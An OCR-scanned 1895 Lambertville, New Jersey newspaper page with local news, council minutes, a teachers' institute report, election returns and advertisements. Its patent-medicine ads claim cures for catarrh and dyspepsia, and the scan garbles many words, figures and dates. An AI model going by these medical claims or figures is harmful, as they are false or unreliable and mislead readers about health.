ladies’ writing desk, and rock er, and chamber set. The furniture can be seen on display at the Grand Depot warcrooms. Social dance the last even ing. Door prize each night. Admission 10 cents. Everybody is invited. 2t —Thanksgiving day passed off quietly. The union service at 10.30 A.M. la the Presbyterian church was well attended. The sermon was preached by Ilev. E M. Lighlfoot, of the Baptist church, and Rev. J. U. Mickle, of the M. E. church, Rev. S. Q. Neil, the evangelist, and Rev. James Roberts, pastor of the Presbyterian Oburcb, participated in the services. Mr. and Mrs. Neil sang very sweetly “Come Holy Spirit, Heavenly Dove.” In the afternoon, Rev. Mr. Neil preached to a good congregation in the Baptist church, and in the evening the main audience room was filled to overflowing. —A holiday present should be some thing you can’t eat up, and that you can’t wear out In a few months. Go to Skill* man, Vanderveer & Williams’ store, cor ner of State and Broad streets, Trenton, and you will find a great and varied stock of durable presents to select from—ail modern goods—no stale sleek or shop worn articles—embracing jewelry, dia monds, watches, clocks, silverware, etc., at prices suitable to the smallest pocket books on up to goods that only wealthy people are likely to buy. They have some thing for everybody, and every article is first-class of its kind. No cheap trash. Call early and look at the stock. They are anxious to please. Use It In Time. Catarrh starts in the nasal passages, af fecting eyes, ears and throat, and is in fact, the great enemy of the mucous membrane. Neglected colds in the bead almost invariably precede catarrh, caus ing an excessive flow of mucous, and if the mucous discharge becomes interrupt ed the disagreeable results of catarrh will follow, such as bad breath, severe pain across forehead and about the eyes, a roaring and buzzing sound in the ears and oftentimes a very offensive discharge. Ely’s Cream Balm is the acknowledged cure for these troubles. —Choice lot of fancy pipes, and plain, at Klinx’s segar store, Bridge street. * —List of letters remaining unclaimed in the Post Office at Lambertville, N. J., for thirty days: Miss Nate Agin, Howard Bowers, Mr. & Mrs. F. Davis, Angelina DeCoursey, W. A. Hoagland, Jno. O’Neal, (2) E. W. Ci.osson, P. M. Lambkktvillb, N. J., Nov. 30, 1896. —The committee appointed by the Board of Freeholders to make arrange ments for the employment of tramps at stone breaking met here on Monday. They intend to carry out the resolution of the Board, and hereafter tramps will not be kept in idleness at the expense of the county. Heretofore these traveling gen tlemen have found this a very convenient stopping place, and so pleasantly have they been entertained here that many of them have made it tbeir regular wioter quarters. Already some of these old “rounders” are putting in an appearence for this winter; but they will find things changed, and we optoe they will find cold comfort where before was good living and everything to make glad the heart of the tramp—all at the expense of the taxpay ers.— Hunterdon Republican. —ABackurs Water Motor—88 Inch—for sale. In good order. Apply at Tns Re oobd office. —The wife of Dr. A. M. Hart, of Rin goea, fell down stairs last Sunday even ing and broke two bones near the wrist, a large bone near the shoulder and one rib, besides bruising herself badly. —About eight dollars’ worth of turkeys were stolen from John V. Higgins, who lives on E. W. Beilis’ farm, a mile south of Flemington, last Monday night, and after the thief had dressed them he drove to Lsmbertville and sold them. By pay ing full value for the birds he escaped arrest. Joseph Sergeant, a neighbor of Higgins, also lost several head of turkeys, but whether the same dealer took these, also, we do not know.—Hunterdon Democrat. —Vice-Chancellor Bird decided last Friday in the case of Dr. E. Lear Rieglc, of this couoty, who some months ago fought a duel over his wife with William Bibler, her cousin, that Dr. Reigle must pay his wife the alimony awarded by the Court. Dr. Riegle, after fighting the duel with bis wife’s cousio, left her, and she sued for alimony. The Vice Chan cellor says Dr. Riegle need not pay ali mony after January 1 if before that time be provides a house for his wife. —William M. Bray, a native of King wood township, this county, and who for forty years had resided in Dent, Ohio, died there November 4. His death was exceedingly sudden. He was pulling a light wagon towards home from the blacksmith shop near by, when be was seen to fall and died almost instantly. He bad never been sick a motflent scarcely in bis life. Mr Bray was known all over the State of Ohio, and especially well in tbe community where be lived and died. He was a brother to Mayor Stacy B Bray, of this city, and also to Wilson Bray, who died here a week ago. —Farmers attention. First class Fer tilizers at the lowest prices in this city, at Lnrison Marjarum's. —The verdict of the coronet’s jury In the recent shooting case at Mount Airy, is absurd enough to be amusing. After two or three days spent in examining wit nesses, it solemnly declared on Monday “that Wm. F. Boyd came to his death * • * by being shot several times with a pis tol in tbe bands of Jones M. Harrison.” Pray why was the investigation beld? Uarrisnu confessed before the coroner held his inquest that he shot Boyd. It was a farce for the jury after that confession to sit at all unless for the purpose of ascer taining whelher he was justified in tbe shooting. It simply put the county to ex pense without any benefit to tbe county whatever. Had the jury justified the deed as in self-defence, the prisoner could have hern discharged. Now the case must go before the grand jury and occu py their time for a day or two, and prob ably result in a trial before the county court. We hear that the jury was not to blame, as it was told that it could not biing in a verdict justifying the action. If the case had to go before the grand jury, then the coroner’s investigation was useless, for there was no question as to who Bhot Boyd. There is no use in run ning up needless bills for the county to pay. Common Connell* The December meeting of the Common Council was held last Mooday evening. The Treasurer’s report for the month of November showed on band a balanco of 19,304 04. The monthly report of the Receiver of Taxes showed a balance of $2,470.77 un paid. It was reported that the Electric Light Company would close the works several nights next week in order to make repairs. A number of citizens asked for light at corner of Bridge and Franklin streets. Referred to Committee, with power to act. Chief McNulty asked Council to take action toward supplying city with better fire alarm—to place a tower and bell on city lot on York street, with fire boxes about town, Oamewcll system. Referred to Committee on Fire Depaitment. Commilte on Shows and Exhibitions reported $15.90 received during month of November. On motion of Mr. Holcombe, it was or dered that hereafter all prisoners in city jail be fed two 16-cent meals per day each. Policemen Cummings and Cole asked for new coals. Referred to Police Com mittee, with power to act. Complaint was made of children play ing on city lot. The police were instruc ted to keep the boys from the lot. On motion of Mr. Holcombe, the ser vices of the dog killer were dispensed with. An old colored man presented a bill of $22 for damages to his property by a cra zy man about a year ago. The bill was not paid. The Finance Committee was instructed to borrow about $5,000, to pay State school and county tax. The following bills wr re ordered paid : Hunterdon Electric Light Compaoy, street lights, November, $291.25 ; Austin Green, work for Fire Department, $9.80 ; Street pay rolls, November, $151.67; J. W. Crook, $12.75; Lambertville Gas Light Co., $1.23; Policeman Morse, feeding prisoners, $10; Policeman Cummiugs, extra services, $3.06; Policeman Cole, extra services, $8.06; Paul Vetter, coat for Chief of Police Morse, $22; Police salaries for November. On motion, adjourned, We know of but one community in the world where dyspepsia is practically un known, and that is the Shakers of Mount Lebanon, N. Y. These good people have been studying the subject of digestion for more than a hundred years, and that they understand It pretty thoroughly, is evi denced in the foregoing fact. Their Di gestive Cordial is the safest and best rem edy in cates of indigestion that we know of. A trial bottle can be bad through your druggists for the trifling sum of 10 cents. The Shaker Digestive Cordial supplies the system with food already digested, and at '.be same time aids the digestion of other foods. It will almost instantly re lieve the ordinary symptoms of indiges tion, and no sufferer need to be told what these are. Laxol is the best medicine for children. Doctors recommend it in place of Castor Oil. Ladles' Sals. The annual Christmas sale of useful and fancy articles by the ladies of 8. Andrew’s Parish will take place on Friday and Sat urday of Ibis week, December 6th aud 7lh, between tbe hours of 10 A. M. and 10 P. M., in the Parish House, at tbe rear of the church, corner of Main and York streets. —A high wind Bwept over the Ringocs section last Tuesday evening about 6 otc!ock, and its force was suffleent to cause some damage, though nothing liks what has been represented In tbe dispatch es to the daily press. A number of trees were uprooted and small outbuildings fell before the fury of the gale. A small por tion of the roof of tbe Kirkpatrick Mem orial Church was ripped off. The massive old stone Amwell Academy, built in 1811, aud which was occupied as a residence by the widow of the late Dr. J. V. Robb ins, received the most damage. Hearty one half of its roof was carried off, and some of the large stones in the wall near the roof were cast many feet away. A big hole was also blown into the root of Mrs. Lirison’s dwelling, and nine large grain stacks on the farm of William Brew er were lifted into the air and spread on tho ground. Fortunately no one was In jured. Tbe tornado passed over an area of about a mile long and a quarter of a mile wide.—Hunterdon Democrat. —Tbe “Business Men's Carnival” at Holcombe Hall, last Thursday and Fri day evenings, was a great success. Some eighty businesses and trades were repre sented, and a large number of young la dies and geullemen represented these with great credit to tbe bouses and themselves. Few could imagine that a fine evening’s entertainment could be produced out of bo common place a ground work, but the ladies who bad charge of it succeeded nicely. Where all did so well, it would be invidious to single out special names for commendation. But the display of the Electric Light Co. was so unique as to warrant special mentioni Miss Bessie Newman appeared with electric lights up on bead and shoulders and a circle of lights around her dress. It was a very beautiful and novel sight. A contributor who was present at the Carnival undertook to write up the whole thing, but after using up so much fun on two of the businesses represented, ho gave up and wrote: We can give but one or two descrip tions of the trades represented as they were so numerous and varied. Take the young lady, for instance, who represent ed A. C. Uandey, the popular Bridge street hardware dealer. She was arrayed in a multum in parvo wardrobe of choice mixed hardware. Her face, which is al ways beautiful, owing to the ornamenta tions, wore a smoothly plaiu look, while her hair fell in graceful ringlets and gim lets over a well formed bust artistically chiseled out of plaster of pnris. She had a skate on euch shoulder. On her head she wore a colored glass globe, but it did not indicate a light head by any means. There was a grand display of oriental jewelry composed of ox chains gracefully entwined around a large dog collar. A large rubber belt encircled her tiny waist to which were attached numerous useful articles representing the trade. The skirt was also adorned with articles emblema tic of the business and displayed were hatchets, axes, saws, files, augers, ham mers, vices, bells, nails, kulves and forks, hinges, rat and mouse traps securely tacked on with Spalding's glue. There were several shades to the material with which her dress was composed. The young lady is not a mason although dec orated with the square and compass, but could well be designated a lady odd-fel low. The hydraulic effects were of the very latest designs and in keeping with the steam and hot water appliances. In fact Miss Petrie was a miniature hardware store on exhibition, and could the scheme be carried out in daily advertising, no doubt large financial results would surely follow. Another instance is the restaurant dis-J play of A. B. Stockton & Son. Imagine* a youog man apparaled in spotless white, with an oyster stew countenance backed up with deviled crabs hair, terrapin whiskers, lamb Chop and little clams neck and an enormous live lobster sur mounting his head in place of the usual sombrero. The baked bean trimmings gave him a borrowed Bostonian look and the liara and tongue sandwiches inter spersed, reminded one of the desert of Sahara. He had rather too much of the strawberry ice cream blood look to appear at good advantage, but this was more than balanced by the orange iced gleam of his scintellaling eyes. Nothing could have been more appropriate than the chicken salad dressing which adorned his fair form. The Maurice river cove oy sters which were substituted for dia monds and the cluster of soft shell crabs that stood guard for the costly watch chain were in season to say the least. While the song he sang was appropriate, still, "A lobster to a lobster pot A blue fish la a pan’1 or •• Here's mr nice new sausages, Potatoes, beans and cabbages would have given better satisfaction and been in sympathy with the business, but we suppose that was all arranged by the managers beforehand. And what a chance of a lifetime it was for “Jimmy" to get a good square meal, as “after the opera was over” he devoured his samples notwithstanding they were a little ccld. If his slumbers were not disturbed by frightful dreams, then bis digestive Bppar* atus must be peifection. State op Ohio, City op Toleoo, ) T rrmn fvtsraiv l Fbank J. Chunky makes oath that be is the senior partner of the firm of F. J. Cheney & Co., doing business-in the City of Toledo, County and State aforesaid and that said firm will pay the sum of ONE HUNDHED DOLLARS for each and every case of Catarrh that cannot be cured by the use of IIall’s Catarrh Cure. Sworn to before me and subscribed in my presence, this 0th day of December, A. D. 1886. Hall’s Catarrh Cure is taken internally and acts directly on the blood and mu cous surfaces of the system. Send for testimonials, free. F. J. CHENEY & Co., Toledo, O. «"Sold by Druggists, 76c. —Frostalene, for chapped bands and face, 15c. at Shamalia’s. Lucas County FRANK J. CHENEY. A. W. GLEASON, Notary Public. TEACHEKS> INSTITUTE. [Last week wc gave the first day’s exer cises at the Teacher’s Institute, held In Flcmi. gton. Below wc give the follow ing two days’ proceedings:] TUESDAY MORSISO. Vernon Le. Davey, Superintendent of the schools of East Orange, occupied the first period ; subject, “School Manage ment,” There is a good deal in this sub ject. School management means thccon trol of the school, and that means the control of self. Schools are no doubt managed better than formerly, but it is doubtful whether we have progressed as rapidly as we should. It is a good thing to graduate from a normal school; but that will not snpply all. Miss Kate B. Stout, of the Stale Nor mal School, spoke on “Language Lea sous.” Language composes so large a share of education that it should command a large share of attention in school work. The object of teaching language is to en able the pupil to express thought in good English. Correct habits of speech arc fixed by repetition. The rules and prac tices of grammar have their use, but they do not take the place of practice in cor rect speaking. Prof. Davey next talked on ‘ Nature Studies.” Tlie study of Nature develops the observing faculties and tbc esthetic taste. A new sense of enjoyment is aroused in tbe student of nature. There is some fear that time will uot permit such study, hut we may so coordinate the Btudy of nature with other studies as to lose no time. We may teach language and spelling in connection with nature studies. Do a little during the first year of such work. Do more in the second, still more in the third, and so on through the course. Gather specimens on the same plan. Teach the class first to ob serve, then to describe. Never let a child guess at the spelling of a new word. Show him the correct form at once. Miss Stout then resumed the subject of “Language Lessons." The esthetic fac ulties the love of the beautiful, manifest themselves first in tbc child, and should be cultivated. The great end of instruc tion is not to inform, hut to inspire. The speaker read “Daybreak” very pleasant ly, and showed how great interest might be aroused, and new beauties discovered by a careful preliminary examination of the lesson. In the afternoon Mies Stout took up “History.” She believes that the History of his country should be an interesting subject to every patriotic citizen. Begin the study of any historical topic by an in formal discussion. History is simply the story of man's progress in civilization. It is not a record of wars and battles. Always teach History by topics, that is, teach each historical subject by itself. Teach the constitution of the Uuitcd States io connection with its history. Miss Caroline McGuire occupied tbc next period with “Heading.” She thinks —truly, to—that there is much poor read ing in the schools. This might be reme died in fact if the teacher herself would always read with expression. There is much trouble with articulation, especially with tho consonants. This can be over come by drill. Tbe Bpeaker then illus trated tbe method of vocal drill. The Boll Call showed 148 teachers pre sent. After this Miss Stout again took up “History,” and chose “Civil Service Ke fprtn” as her topic. WEDNESDAY MOUSING. II. AI. Puxson, Superintendent of Schools of Plainfield, flrat spoke on“Gc.>g raphy and History.” These arc intimate ly associated, and should be Uugbt to gether. The historian does not deal with facts alone, but with their causes. He must lake into account position, climate, products. Geograpk!cal|i'nviroumcnl8 have much to do with shaping the character and the destiny of uatious. l’rof. Qilhuly, of Flemington, next in troduced C. Gregory of Long Uruoch, who talked on “Arithmetic.” The speak er said hu had not come to pose us an au thority in arithmetic- Life is too short for one to become an authority on any subject. He came to talk about the best tJfay Mr reach niithmetic so as to get re sults. He gave plain and almplo illustra tions of his method of teaching fractioi s, interest and percentage, lie believes arithmetic should be taught as a whole, not by topics. It is a unit, and should be taught as such. Prof. Alaxson then spoke on “Sun shine.” There should be more of sun shine in our schools and more iu our lives. A long face is not the measure of piety. Good people should be the happiest peo ple. Let the sunlight into the heart, and reflect it from the countenance. Prof. Gregory then talked again on Arithmetic, giving some excellent ideas concerning the teaching of this important branch. He is fully convinced that the results obtained in arithmetic are not commensurate with the time spent in its study ; and he believes that one cause of this is poor teaching—not lazy, negligent teaching, but erroneous teaching. This closed the exercises provided for the Institute. Supt. Hoffman then announced that a subject of interest to the teachers would be bandied by E. T. Hush. Air. Hush said : “Teachers I will not make my own speech. I will make your speech. I will simply say what you have told me to say, only I shall not say it half so well.” He then addressed bis remarks to tx-Counly Superintendent E. AI. Heath, who hap pened to drop in a few minutes before, aod at the close presented to that gentle man on behalf of the teachers, a hand some gold watch. Air. Heath was completely takon by surprise. But be restrained his feelings far enough to make a very appropriate and feeling response, aod to thank the teachers most heartily for this mark of their esteem. The watch is of solid gold, very heavy hunting case, with first-class movements. It was bought of S. L. Hart, whose repu tation as a jeweler Is a guarantee of good quality. It is inscribed on the inside : “E. M. Heath, from the Teachers of Hun terdon, Nov. 27, ’00.” On the outside it bears Mr. Heath's initials — “E AI. H.” The Institute then adjourned and every body went home well pleased. —If you want a specially-nicc flavored segnr, go to Kuse’s, 29 Bridge street. * Try a can of Hopkius’Steamed Hominy (Hulled Corn). It is delicious. Full qt., 10c. Nov. 13-4w. GRIGGS' PLURALITY 26,900. Vote Officially Declared by tbe state Board of Canvauera. The State Board at Canvassers, con siating of Governor Werts and Senators Stokes, Thompson, Williams, Daly, Win ton and StaateB, met on tbe 26tb u'.t., In tbe Governor’s room and cfllcially declar ed John W. Griggs elected Governor of tbe State. Tbe following is the officially declared vote of the State for Governor : Griggs. McGil'. Atlantic, 3,853 2,482 Bergen, 0,088 5,331 Burlington, 7,312 5,100 Camden, 12,785 6,006 Cape May, 1,599 1,050 Cumberland, 5,810 3,235 Kssex, 29 897 22,621 Gloucester, 4,065 2,929 Hudson, 20,948 26,847 Hunterdon, 3,448 4,137 Mercer, 11,100 7,878 Middlesex, 7,241 6,487 Monmouth, 8,197 7,886 Morris, 6,063 4,351 Ocean, 2,652 1,223 Passaic, 11,618 8,669 Salem, 3,831 2,845 Somerset, 8,458 2,828 Sussex, 2,668 2,639 Union, 8,401 6,887 Warren, 8,375 4,023 Totals, 102,900 130,000 Griggs’ plurality, 26,900. H. W. Wilbur, Prohibitionist candidate for Governor received 6,601 votes in tbe State. re W. B. Ellis, People’s candidate* ceiv cd 1,901 votes. J. B. Kcim, Socialist-Labor, received 4,147 votes. —Tbc barn of Calvin Castner, Commit teeman of Lebanon township, situated near Changcwaler, was burned on Satur day night, 23d ult. Tbe contents of tbe barn, consisting of bay, straw, grain, har ness, sleigh and machinery, with the bar racks of grain, were consumed with the building. Tbe horse was taken out with out injury. Some chickens perished that roosted under tbe hovel. Mr. Castcer bad tbc day before fluisbed a new roof on the barn, and other repairs. His insur anco is $500. Tbe dyspeptic carries a dreadful load on bis back. It seems as if lie were real ly made up of two men. One of them ambitious, brainy and energetic ; the oth er Bick, listless, peevish and without force. Tbo weak man weighs the other one down. Tbe dyspeptic may bo able to do pretty good work one day, and the next day because of some little indiscre tion in eating, be may be able to do noth ing at all. Most cases of dyspepsia start with constipation. Constipation is tbe cause of nine-tenths of si! human sick ness. Some of its symptoms arc alck and billions headache,dizziness, sour stomach, loss of appetite, foul breath, windy belch ings, heartburn, pain and distress after eating. All these are indicative of de rangements of tbc liver, stomach and bowels, and all are caused by constipa tion. I)r. Pierce's Pleasant Pellets are the quickest, easiest and most certain cure for this condition. They are not violent in action. Send 21 cents in oue-ccnt stamps to World's Dispensary Medical Association, BulTalo, N. V., and receive Dr. Pierco’s 1008 page common sense medioai. adviseii, illustrated. NKW Horn ANI) BUCKS COUNTY, 1*A. —The railroad Biding at the agricultur nl works in New Hope lias been removed. —Tlie farm lately occupied by Jona than Warner, belonging to the Magill Es tate, was sold at public sale on Friday a week to Joseph Simpson for $21.00 per acre. —Engineers of the Heading railroad were making surveys last week near the railroad bridge that crosses the Great Spring creek in New Hope—what for, nobody else knows. — llarriette, the oldest daughter of Kcv. W. 11. Cox, of Solebury, had the mis fortune to fall and fracture her right arm, while playing at school on Monday of last week.—New Hope News. —Mrs. Lizzie Schermerkorn, of New Hope, employed in the band room of the Lambcrtvllle Rubber Co., while at work on Monday afternoon, caught her left hand iu some knives uud cut one finger entirely oil and another partly off. —8. A. Poole, son of the late T. T. Pool, of New Hope, died of pneumonia, on Monday morning. Mr. Pool was lo cal editor of the New Hope News, and at the time of his deulh was in charge of the grist and paper mills near New Hope, formerly owned and run hy his father. —The Doylcstown Democrat will be gin this week tho publication of "Tho Doanu Outlaws," a narrative of the do ings of the five Duane brothers during the Revolution. They were natives of Plumstead, Rucks Co., and were tho ter ror of eastern Pennsylvania during-the war of the Revolution. Tlie narrative la likely to be of deep and thrilling interest. —A Farmers' Institute, under tlie aus pices of the Department of Agriculture of Pcnna., and the Solebury Farmers’ Club, will be held in the lecture room of tho M. E. Church, New Hope, on Monday and Tuesday of next week. Tbero will be morning, afternoon and evening BessionB each day, beginning at 10 A. M., 2 and 7.80 P. M. The exercises will consist of lectures, essays and discussions on sub jects of deep interest to farmers. Music will also be a feature of the meetings. Among the speakers will be Prof. John Hamilton, Prof. Wm. Frcar, of tbo State College, Hon. N. 1). Critchfleld, of Som erset Co., Hon. Geo. T. Powell, of Ghent, N. Y., and local county talent. All the exercises are public and free. A largo cave has been discovered on tbe Carpenter farm near Haubsvlllc. The farm is now In charge of Howard Itlchards. Tbe cave was unearthed by a number of men who were digging one day last week. It is about 100 feet long and divided into various sized rooms. Stalagmites are numerous. A nunibi r of bones were found, but wheth er they were of man or beast has not been determined. Sallow complexion, dull yellow eyes, offensive breath, and skin covered with pimples and erup tions are caused by indigestion. Bright eyes, a clear skin, and rosy cheeks follow the use of Dr. Deane’s Dys pepsia Pills. White wrapper if consti pated, yellow if bowels are loose. Eat good food and avoid all pills and other medi cines which simply act on the bowels. DR. J. A. DEANE CO., Kingston, N. Y. Ely’s Cream BalmCATARRH SOMBMk! Is quickly about bed. Cleanses the Kasai Passages, Allays Pain aud Inflammation, Heals the Sores. Protects the Membrane from Additional Cold Restores the Senses of Tasto and Smell. rHAV FEVER] m USA. HAY-FEVER IT WILL CURE. A particlo Is applied into each nostiil and is agreeable. Price 50 couts at Druggists or by mail. ^JELY BROTHERS, 56 Warren St„ Now York. Oct. 9, 895. THE GRAND DEPOT -FOR Overgarments, Warm Undergarments, Stylish Head Attire, Fashionable Foot Wear. ■••• Frosty Enough Overgarments, Fur Capes to buy i It not? variety Furs* COATS, JACKETS, CAPES. An elegant line to select from this Fall, made from fur-back beaver, from rich curly boucle, and from Astrakhan cloth. Is it not chilly enough to change your Underwear1 We never had such good values as we have this Fall. BLANKETS AND COMFORT*. Don’t your little folks need warm er coverings these cold nights, and the older people as well? We’ve over 150 pair to select from. Prices 50 ots. to $5.00 for the like you never saw at the price. A liberal reduction on FINE DRESS ROODS. It’s a splendid opportunity right now to get a holiday outfit. THE GRAND DEPOT, RICHARD H, VAN HORN & SON, So,. 32 anil 34 Non. 4 anil 0 Union St. tiliuroll St. LAMBERTVILLE, N. J. LAMBERTVILLE NATIONAL BANK, LAM BERT VILLE, N. J. The Hank will ho opened at 9 o'clock, A. M., and Close at 3 o'clock. I*. M., on all business days, ex cept Saturdays, when the cloning time will be 1 o'clock, P. M. All legal holidays obaerved. Stated meetings of the Directors evory Monday, at 10 o’clock, A. M. SAFE DEPOSIT BOXES TO RENT at five and seven dollars per year. Coupons cashed and dividends and Interest col WILLS, when enclosed In sealed envelopes and accompanied with written instructions as to their delivery, in cane of death, will bo receipted for and kept, free of charge. STOCKS AND SECURITIES PURCHASED for patrons of the Hank, at market prices. We respectfully solicit accounts, und offer evory accommodation consistent with conservative banking. ISAIAH P. SMITH, Cashier. Feb. 10,1892-tf. CHATTERBOX No book THEKING OF JUVENILES. been made for young people which compares In value, or has had one-tenth the sale of this great annual. MiUIons of copies havo been •old. The new volume for 1895-6 la just ready, and has over aoo large and entirely new pictures, several new stories, (each a book in itsell), and hundreds of short stories, anecdotes, etc. The best Xmas present possible for boys and girls of all ages. Order from your bookseller or of us, ESTE8 & LAURIAT, Publishirs, Boston. Nov. 13, '95-2in WANTED. A thoroughly practical man who understands CUe manufacture of rubber boots and shoes, toys and druggist specialities, to tnko charge of factory. T« the right man a good position. Address, giving particulars,“Rubber Mill,” RECORD Office. Nov, 13, 1895.-31 All Things Are Nev! To prove this to your own satisfaction, let us take you through our departments. A thorough change and renovation has been wrought. IN DRESS GOODS. Plaids in ail their beauty at every price, from 12$c to 50c, for the handsome silk* mixed goods. Borges—The fine ones, all wool, at 25c, SOc and 49c, for 46-inch wide ones. Storm Serges, in black, navy and brown, at 25c, SOc and 49o, for 40-inch goods. Henriettas, every color and black, all wool goods, 25c, 39c and 49c, for 49-inoh goods. Crepons—A line of novelty crepons in 49-inch widths at 59o that you will think should be 98c sure; all colors and black. Novelties—All the proper combinations of oolors in fanoy weaves. Imported styles, pretty silk mixtures, at 39c; exact imita tions of the dollar goods. A line of fine weavos at 49c and 79c. Black Goods Novolties—We are safe in sayiog that we have the largest variety of fanoy weaves in black goods shown in this city. Pure wool foundations with figures in mohair, look like silk, 49o a yard. Ex [ tra fine orape ground or satin grounds, mohair figures, at 59 and 69c; regular dollar goods. Cheviots—Smooth and rough, 49c to 69o. Clay diagonals, wear like iron and always look nice, 59o to 98o yard. IN COAT DEPARTMENT. Opening all this weok. Exclusive and choicest styles of Reefers, Jackets and Capes for ladles and misses are shown at tho most attractive prices. Fur Capes of all desirable kinds of fur. Children’s garments for every size child from one year old up. Our reputation for having the best line of Cloakd in Trenton will be kept up. DOMESTICS. Canton llannola, good and heavy, 4c, Go and Go. Extra heavy canton at 80, 9c and 10c— worth 10c to lGc. All wool medicated flannel, IGo. Sanitary gray and brown-mixed skirt ing, 12Jc. The heaviest sheeting at Go. Pillow muslin, 8o and 10c. Full-width sheeting, 12Jo. Ulanketa, white, gray and tan,G0o pair. Persian ^stripe blankets, 79c pair. Crib blankets, pretty styles, 80c eaoh. BAUMGARTNER'S DOUBLE STORES, 15 and 17 East State St., TRENTON, N. J. October 2, 1895. Do you know the value of a Hot Water Bottle ? They can be put to many uses in any household. From the numerous sales we have made, it is apparent that the people are appreciating the opportunity to procure one that is well made, and thorougly reliable at a moderate cost. Formerly they were a luxury; now at a small cost they have be come a necessity. A new lot just received in two quart and thrce-qnarl sizes, also the Combination Hot Water Bottle and Fountain Syringe, an article of merit. Ask to sec it. Entirely new. We keep a largo stock of Syring es of all kinds, Atomizers, Hot Water Bottles, Ice Bags, and every article of emergency for a sick room. E. W. CLOSSON’S, MAIN AND Cliuncn STB., Lambertville, N. J. Chah. M. Williams, Manager, Graduate lu Pharmacy, registered by examination in retina, and N. J. WRIGHT'S* For all Bilious and Nervous VS 11 I pi Ijishases. They P>»i<v die UBR ■ fB| II,... RIVC 1«KAI 1IIV W~ ■■ ■ action to the entire »y»tem. ■ ■ Cure DYSPEPSIA, HBADAOHE, CONSTIPATION »nd PIMPLES. Se|it. 18, ’»S-ly The undersigned informs his old patrons and the public in general that he has opened a CUSTOM BOOT AND SHOE MAKING SHOP, -ON Coryell Street, Two doors E. of Lyceum Hall. He Is prepared to make all kinds of Boots and Shoes of the very latest styles. BOTH LADIES AND GENTS, equal to any first-class custom shop in the city and at much lower prices. A guaranteed perfect fit every time. All kinds of Repairing neatly and promptly dona. Also Kip and Cowhide Working Bools and Shoes, especially for farmers and stone workers. WILLIAM. J. SCOTT. P.S.—I make all kinds of Shoes for crippled feet. Perfect ease and comfort guaranteed. GIVE MB A TRIAL. 1. amber tv illo, Sept. 25, J895 OTICE OF ASSIGNMENT. Notice is hereby given that Howard I La Harro has this day made an assignment to.the subscriber for the purpose of securing to his credf torn an «...nul .nd Just division of his estate, and that nil claims attains! his ostste must bo pro sent ed undor oath or a Hi r mat Ion within threo months from date, and that a list of the claims presented will hi- filed In theoffloe of the Surrogate of Hun terdon county on the first Monday of February CHAS. A. 8KILLMAN. Assignee of Howard I. LaBarre. Dated Lambertville, N. J., Oct. 18th, 1895. SEEN IT YETI THE WONDERFUL BLASIUS PIANO. Sold by FRANK Z. FRITZ, LAHBKBTnLLE, UsUD BY N. J. THE LAMKKRTVIHK PIANO CLUB. Sept. 25,1895.6m.. | 41,252 |
Subsets and Splits